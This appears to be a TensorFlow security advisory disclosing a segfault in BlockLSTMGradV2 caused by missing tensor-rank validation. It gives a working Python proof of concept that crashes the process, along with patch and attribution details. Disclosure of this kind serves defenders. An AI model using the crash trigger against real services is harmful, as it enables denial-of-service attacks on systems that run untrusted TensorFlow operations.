TensorFlow vulnerable to segfault in `BlockLSTMGradV2`

Impact

The implementation of BlockLSTMGradV2 does not fully validate its inputs.

• wci, wcf, wco, b must be rank 1
• w, cs_prev, h_prev` must be rank 2
• x must be rank 3
  This results in a a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

use_peephole = False
seq_len_max = tf.constant(1, shape=[], dtype=tf.int64)
x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)

Patches

We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.